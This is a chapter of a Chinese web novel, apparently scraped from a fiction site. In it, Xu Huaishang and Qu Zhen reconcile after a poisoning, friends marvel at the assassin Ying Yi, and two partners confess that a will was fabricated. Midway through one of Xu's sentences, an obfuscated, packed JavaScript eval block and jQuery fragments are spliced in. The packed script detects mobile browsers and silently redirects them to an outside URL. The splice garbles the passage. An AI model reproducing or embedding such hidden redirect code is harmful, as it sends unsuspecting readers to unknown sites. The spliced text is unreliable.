23.23 坦白

作品:《去梦州

    亥时,待官差带着搜刮得来的“禁书”返府秉公,李墨看着散落一地的书卷,神色恍惚。


    徐怀尚上前一步,拍了拍他的肩,说书坊查封虽事发突然,但他们兄弟三个难得重聚,不如去酒楼打包些下酒菜,晚些时候边吃边叙,至于整理藏书的事,就交给他这个新任掌书,正好熟悉环境。


    李墨点头,带着郭盛直奔附近的酒楼,于是,偌大的书坊里头便只剩下曲臻和徐怀尚。


    “徐大哥,身体……可恢复好了?”


    蹲在地上拾书时,曲臻偷偷打量了徐怀尚许久,才鼓起勇气问出这句话。


    “得亏曲小姐送医及时,”徐怀尚答,“毒性未至心脉,加上大夫及时施针封穴,又以属性相克的中药化解了毒性,两日来已经康复了大半。”


    徐怀尚说到这儿才抬起了头,他面色温良如常,语气中却夹着一丝生分。


    “不过,徐某听说,这方子是曲小姐留下的?”


    彼时,曲臻听着那一声声“曲小姐”,将头埋得更低了。


    “那是我十二岁误服梦寰时,七襄城神医开出来的方子。”


    “果然,徐某……欠曲小姐一条命。”


    那一刻,徐怀尚嘴中吐出的音节仿佛在空中化作银针,根根刺痛曲臻的心,而往日一度让她沉醉的书墨香气,此时竟也变得如毒气一般,令人窒息。


    “徐大哥,对不起。”


    曲臻低着头,含泪说出了这句话。


    风清月明,烛影飘忽。


    此刻,从鹿岭到梦州,同行那三日以来的欢笑、嬉闹,只如烟云般袅袅攀升,消淡于无声的叹息之中。


    曾几何时,“季恒书坊”四个字在曲臻和徐怀尚心间筑成了一座神庙,这方寸穹宇间的上千册书卷,于他们而言,皆是世间至宝,两人曾无数次幻想在此处流连、徜徉、博览群书,但如今,这些璀璨的念想竟如诅咒一般,彻底撕碎了看似理想的皮囊,让他们内心深处的恐惧与欲望,在彼此面前,展露无余。


    然而,事已至此,覆水难收。


    徐怀尚一早就明白了这个道理,此刻,他只希望曲臻也能够释怀。


    “都过去了。”


    某一刻,徐怀尚洪钟般的音色合着淡淡的叹息轻吐而出。


    “臻儿姑娘若是认定徐某罪不至死,那这一来一往,咱们也算两清了。”


    徐怀尚说着,眼角带笑看向对面的曲臻,整张脸久违地舒展开来。


    “只是这雇杀手的钱,徐某怕是无力与臻儿姑娘分担了。”


    曲臻抬眸,怔怔盯着徐怀尚看了一会,见他确是恢复到了往日那副顽劣轻佻的模样,一口气没提住,“噗”地笑出了声。


    ——“什么杀手啊?你们聊书呢?”


    那时,李墨的声音从门口传来,曲臻看见那两位曾被她提上刺杀令的前辈正提着大包小裹走近,有些心虚地低下了头。


    “啊,”徐怀尚转头解释道,“我和曲小姐来时在鹿岭碰见,曾与一名影笙会杀手同行。”


    “你们在路上碰见了?”


    李墨将买来的下酒菜摆上柜台,面露讶异,郭盛的关注点却落到了别处。


    “杀手好啊,我现在身边就缺个杀手!”


    见徐怀尚意欲起身,郭盛搭手把他拉了起来,接着问,“二哥,名字有吗?我去把他找来!将今天那个带头砸店的好好收拾一顿!”


    “叫影枫。”徐怀尚答,“不过人家影笙会杀手只接刺杀令,你要找的那种叫打手。”


    “杀手也行!给我杀了那个偷书贼!”


    ——“是影一。”


    那时,一直默不作声的曲臻抽空插上了这句,她寻思着,自己日后与影一怕是无缘再见,也没必要再替他隐藏身份了。


    只是,曲臻没曾想,“影一”二字一经出口,面前的三个男人却齐刷刷地看向了她。


    “什么?”徐怀尚最先发问,“影枫那小子,就是影笙会排名第一的金袍杀手?”


    “嗯,那次我撞见了。”


    曲臻点头的同时,面露不解。


    “他往手上缠布条的时候,上面的数字确实是‘壹’没错,不过......”


    ——“就是四年前那个只身闯入沈府,于三重围剿、数十守卫中直取目标首级!过程中只误杀一人的影一?!”


    郭盛一脸激动地打断了曲臻。


    “应该......不是,”曲臻眨眨眼,“我听说影笙会杀手排名更迭频繁,若是四年前......”


    “就是他,”一旁的李墨却笃定道,“影笙会杀手位序虽常年更替,但唯有这影一的位子,五年来都不曾变过。”


    “你还真别说!”


    现在,回想起那三日的行程,徐怀尚方觉回韵悠长。


    “臻儿,你记得吧?那小子杀熊的时候身上都不曾溅上一滴血,再者......”


    徐怀尚话出半句,突然意识到他自己也险些死在影一手上,便将后面称赞的话又尽皆咽了回去。


    与此同时,曲臻心上更是一阵后怕。


    若影一真有这等本事,那她两日前抵达梦州时,不知天高地厚地叫哥哥寸步不离地守在郭李二人身边,岂不是也险些断送了他的性命?


    ——“所以说,影笙会排名第一的杀手眼下就在梦州!怪不得这几日摆子口那群泼皮无赖都销声匿迹了,连收租的房东口气都亲和了不少!”


    “估计也是轩辕宴快到了,影笙会顶尖的杀手都要集合参与武试选拔,争取护驾名额。”


    ——“不过我听说那个影一,从来只接刺杀令,不接护国令!”


    “怎么可能?所谓‘赏金杀手’,杀人放火都只是为了赏金二字,谁能放着丰厚的护国赏金不要,硬着头皮去做那些命悬一线的事?”


    ——“要不说他是影一呢!我听说啊......”


    彼时,徐怀尚和曲臻对视一眼,转头看向一旁仍旧激情澎湃地议论着影一光辉事迹的郭李二人,忍不住在心中发出一阵暗叹:


    “此番,若不是我徐丛用这条老命牵制住了那位活阎王,你们俩,怕是连自己究竟是怎么死的都不知道!”


    片刻后,酒菜已置,李墨特意喊来了曲恒,五个人围坐在书坊门前的木桌边上,举杯邀月。


    那时,徐怀尚望着手中的杯盏,突然一阵心有余悸,面露苦涩。


    “徐大哥,”曲臻在一旁小声道,“你身体还没康复,别喝了。”


    “对,二弟,”李墨也跟着关切起来,“你前日写信于我,说是路上受了寒,要歇息两天,还不让我们兄弟二人前去探望,现在可好些了?”


    “嗯,已无大碍,幸得曲小姐照料。”


    听到徐怀尚的话,一旁的曲恒微眯双眼,有些狐疑地望向了曲臻。


    两日前,曲臻抵达梦州时风尘仆仆,嘴上不住念叨着“搞错了”,像是失了魂一般,他见妹妹慌乱,也没敢多问,只是按照她的吩咐雇了几个打手连日守在季恒书坊,倒是叫那三个借机夺权的外人占尽了便宜,这件事,曲臻时至今日都没给自己一个解释。


    眼下,曲恒听闻她与徐丛来程时便有交集,寻思曲臻这个没见过世面的丫头,保不齐是被那油嘴滑舌之人给收买了。


    于是,曲恒思忖片刻,决定将这话头转移到书坊上来。


    “眼下,季恒书坊恐是难逃查封,”曲恒举起酒杯,故作漫不经心地问,“徐掌书对此可有打算?”


    “我想过了。”徐怀尚当即回答,“季恒盛名已久,就算此处被封,咱们更块牌匾、换个地界,一样能把书坊开下去。”


    “也只剩这个办法了。”李墨点头道。


    “到时候,就在这附近立块牌,写明新店的地址,方便书友们投石问路。”徐怀尚顿了顿,继续道,“至于此处,也可以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995143|160232||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开作分店,就由我这个生面孔负责打理,也好避嫌。”


    听到这话,李墨猛地将头抬了起来。


    “徐丛,你要做分店的掌书?那这总店......”


    “总店,自然该交给曲小姐管理。”


    徐怀尚转过头,看向曲臻的目光意味深长。


    “这......”


    见李墨一时语塞,徐怀尚也不想再兜圈子,他看向郭李二人,直言道:


    “你们也不必再藏着掖着了,伯康兄遗嘱里指定的继任掌书,原本不是我吧?”


    “徐丛,你......怎么能这么说?”


    李墨结巴起来,边儿上的郭盛则低着头,一脸的心虚。


    彼时,见两人这般反应,徐怀尚已然坐实了心中的猜测。


    “二哥,我们......”


    “别我们你们的了。”徐怀尚打断郭盛,“曲小姐深明大义,若你们二人愿意把实情说出来,我再把这偷来的掌书之职还给曲家,想来曲家兄妹也不会过多怪罪,说吧,这原本的继任掌书,是曲小姐没错吧?”


    “哪儿来的继任掌书......”


    郭盛嘟囔了半句,边儿上的李墨瞟了他一眼,思忖片刻终于抬起头,看向了曲臻。


    “曲小姐,曲少爷,我们兄弟二人,此番确实犯下了滔天之过!”


    李墨说着起身拱手,对着曲臻和曲恒深深鞠了一躬,一旁的郭盛见状也“腾”地站起,跟着表哥拱起手来,俯身行下大礼。


    “不过,如若伯康兄确实在遗嘱中写明了继任,我兄弟二人就算是吃了熊心豹子胆,也断不敢贸然更改!”


    说到这儿,李墨缓缓抬起了头。


    “事实上,这遗嘱不是我们纂改的,而是......杜撰的。”


    “杜撰的?”曲臻蹙眉,藏在桌下的手指一阵发凉,“所以我父亲没有留下遗嘱?”


    郭盛点头道:“伯康兄走得实在突然,我和大哥念及兄弟情深......况且,这些年,伯康兄也不止一次地赞美过二哥的文采和智识,我们便想着借这个机会......”


    “什么叫‘机会’?”


    李墨一巴掌拍上郭盛的脑门,转过头来沉声道:


    “曲少爷曲小姐恕罪!我们也是一时头脑发热,这件事,我们本也是想等到面见二位时,再做商议的。”


    “再做商议?”曲恒厉声道:


    “几日来我一直待在书坊,倒是没见你二人有过商议的意思,况且,家父生前与你兄弟二人不和,那是书坊伙计人尽皆知的事,你们敢说家父的死和你们没有半点儿关系?!”


    “曲少爷,这般罪责我们可担不得啊!”


    李墨猛然抬头,眼中泛起了泪光。


    “我兄弟二人初来梦州时身无分文,幸得伯康兄收留,此后同心经营季恒十余载,早已将令尊视作长兄至亲,怎敢有戕害之想?!”


    李墨说到这儿,悲愤难以自控,竟挥袖转身,毅然离席。


    “曲少爷若将此等大逆不道的罪名强加于吾二人头上,那这书坊,我们兄弟俩不要也罢!”


    ——“李大哥请留步。”


    气氛紧绷之时,曲臻的声音却异常冷静。


    “家兄也是情难自控,对两位妄加揣测,曲臻代他致歉。”


    一盘的曲恒坐立不安,只得跟着支吾道:


    “对,我......若是错怪了两位前辈,对......不住......”


    片刻后,见李墨面色凝重地转回了身,曲臻上前一步,言辞恳切道:


    “只是,两位前辈有所不知,我幼时曾误服梦寰,濒死之时被家父所救,因此我才可以肯定,家父之死,绝非意外。”


    “曲小姐的意思是......”


    彼时,曲臻颔首轻点,肯定了李墨的猜测。


    “我父亲,是被害死的。”